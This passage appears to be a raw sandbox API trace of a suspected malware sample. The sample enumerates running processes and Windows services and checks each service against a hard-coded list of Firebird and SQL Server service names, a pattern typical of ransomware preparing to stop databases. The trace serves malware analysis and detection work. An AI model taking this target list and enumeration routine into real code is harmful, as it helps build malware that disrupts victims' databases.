hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0220.773] lstrlenW (lpString="superb_guilty.exe") returned 17 [0220.773] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0220.859] lstrlenW (lpString="conditional employer.exe") returned 24 [0220.859] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0220.895] lstrlenW (lpString="middle shown.exe") returned 16 [0220.896] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0221.093] lstrlenW (lpString="forced_online.exe") returned 17 [0221.093] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0221.094] lstrlenW (lpString="knitting.exe") returned 12 [0221.094] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0221.094] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0221.095] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0221.095] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0221.095] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0221.096] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0221.096] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.097] lstrlenW (lpString="svchost.exe") returned 11 [0221.097] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0221.098] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0221.098] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0221.099] lstrlenW (lpString="conhost.exe") returned 11 [0221.099] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0221.102] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0221.102] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0221.103] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0221.103] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0221.183] lstrlenW (lpString="WMIADAP.exe") returned 11 [0221.183] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0221.184] lstrlenW (lpString="11.exe") returned 6 [0221.184] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0221.221] lstrlenW (lpString="cmd.exe") returned 7 [0221.221] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0221.222] lstrlenW (lpString="conhost.exe") returned 11 [0221.222] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0221.222] CloseHandle (hObject=0x300) returned 1 [0221.222] Sleep (dwMilliseconds=0x1f4) [0221.808] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889a20 [0221.808] EnumServicesStatusExW (in: hSCManager=0x889a20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0221.808] GetLastError () returned 0xea [0221.808] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x8068b8 [0221.809] EnumServicesStatusExW (in: hSCManager=0x889a20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8068b8, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x8068b8, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0221.809] CloseServiceHandle (hSCObject=0x889a20) returned 1 [0221.809] lstrlenW (lpString="Appinfo") returned 7 [0221.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0221.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0221.810] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0221.810] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0221.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0221.810] lstrlenW (lpString="AppXSvc") returned 7 [0221.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0221.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0221.810] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0221.810] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0221.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0221.810] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0221.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0221.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0221.810] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0221.810] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0221.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0221.810] lstrlenW (lpString="Audiosrv") returned 8 [0221.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0221.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0221.810] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0221.810] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0221.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0221.811] lstrlenW (lpString="BFE") returned 3 [0221.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0221.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0221.811] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0221.811] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0221.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0221.811] lstrlenW (lpString="BITS") returned 4 [0221.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0221.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0221.811] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0221.811] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0221.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0221.811] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0221.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0221.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0221.811] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0221.811] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0221.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0221.811] lstrlenW (lpString="CDPSvc") returned 6 [0221.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0221.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0221.811] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0221.811] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0221.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0221.811] lstrlenW (lpString="ClickToRunSvc") returned 13 [0221.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0221.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0221.811] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0221.811] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0221.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0221.812] lstrlenW (lpString="ClipSVC") returned 7 [0221.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0221.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0221.812] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0221.812] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0221.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0221.812] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0221.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0221.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0221.812] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0221.812] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0221.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0221.812] lstrlenW (lpString="CryptSvc") returned 8 [0221.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0221.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0221.812] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0221.812] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0221.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0221.812] lstrlenW (lpString="DcomLaunch") returned 10 [0221.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0221.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0221.812] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0221.812] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0221.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0221.812] lstrlenW (lpString="Dhcp") returned 4 [0221.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0221.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0221.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0221.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0221.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0221.813] lstrlenW (lpString="Dnscache") returned 8 [0221.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0221.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0221.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0221.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0221.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0221.813] lstrlenW (lpString="DoSvc") returned 5 [0221.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0221.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0221.813] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0221.813] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0221.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0221.813] lstrlenW (lpString="DPS") returned 3 [0221.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0221.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0221.813] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0221.813] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0221.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0221.813] lstrlenW (lpString="DusmSvc") returned 7 [0221.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0221.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0221.813] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0221.813] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0221.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0221.813] lstrlenW (lpString="EventLog") returned 8 [0221.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0221.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0221.813] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0221.813] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0221.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0221.814] lstrlenW (lpString="EventSystem") returned 11 [0221.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0221.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0221.814] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0221.814] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0221.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0221.814] lstrlenW (lpString="FontCache") returned 9 [0221.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0221.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0221.814] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0221.814] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0221.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0221.814] lstrlenW (lpString="gpsvc") returned 5 [0221.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0221.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0221.814] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0221.814] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0221.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0221.814] lstrlenW (lpString="iphlpsvc") returned 8 [0221.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0221.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0221.814] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0221.814] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0221.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0221.814] lstrlenW (lpString="KeyIso") returned 6 [0221.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0221.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0221.814] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0221.814] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0221.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0221.814] lstrlenW (lpString="LanmanServer") returned 12 [0221.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0221.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0221.815] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0221.815] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0221.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0221.815] lstrlenW (lpString="LanmanWorkstation") returned 17 [0221.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0221.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0221.815] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0221.815] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0221.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0221.815] lstrlenW (lpString="lfsvc") returned 5 [0221.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0221.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0221.815] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0221.815] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0221.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0221.815] lstrlenW (lpString="LicenseManager") returned 14 [0221.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0221.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0221.815] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0221.815] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0221.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0221.815] lstrlenW (lpString="lmhosts") returned 7 [0221.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0221.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0221.815] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0221.815] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0221.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0221.815] lstrlenW (lpString="LSM") returned 3 [0221.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0221.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0221.816] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0221.816] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0221.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0221.816] lstrlenW (lpString="MpsSvc") returned 6 [0221.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0221.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0221.816] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0221.816] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0221.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0221.816] lstrlenW (lpString="NcbService") returned 10 [0221.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0221.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0221.816] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0221.816] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0221.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0221.816] lstrlenW (lpString="netprofm") returned 8 [0221.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0221.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0221.816] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0221.816] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0221.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0221.816] lstrlenW (lpString="NlaSvc") returned 6 [0221.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0221.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0221.816] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0221.816] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0221.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0221.816] lstrlenW (lpString="nsi") returned 3 [0221.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0221.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0221.817] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0221.817] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0221.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0221.817] lstrlenW (lpString="PcaSvc") returned 6 [0221.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0221.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0221.817] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0221.817] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0221.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0221.817] lstrlenW (lpString="PlugPlay") returned 8 [0221.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0221.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0221.817] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0221.817] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0221.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0221.817] lstrlenW (lpString="Power") returned 5 [0221.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0221.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0221.817] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0221.817] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0221.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0221.817] lstrlenW (lpString="ProfSvc") returned 7 [0221.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0221.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0221.817] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0221.817] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0221.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0221.817] lstrlenW (lpString="RpcEptMapper") returned 12 [0221.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 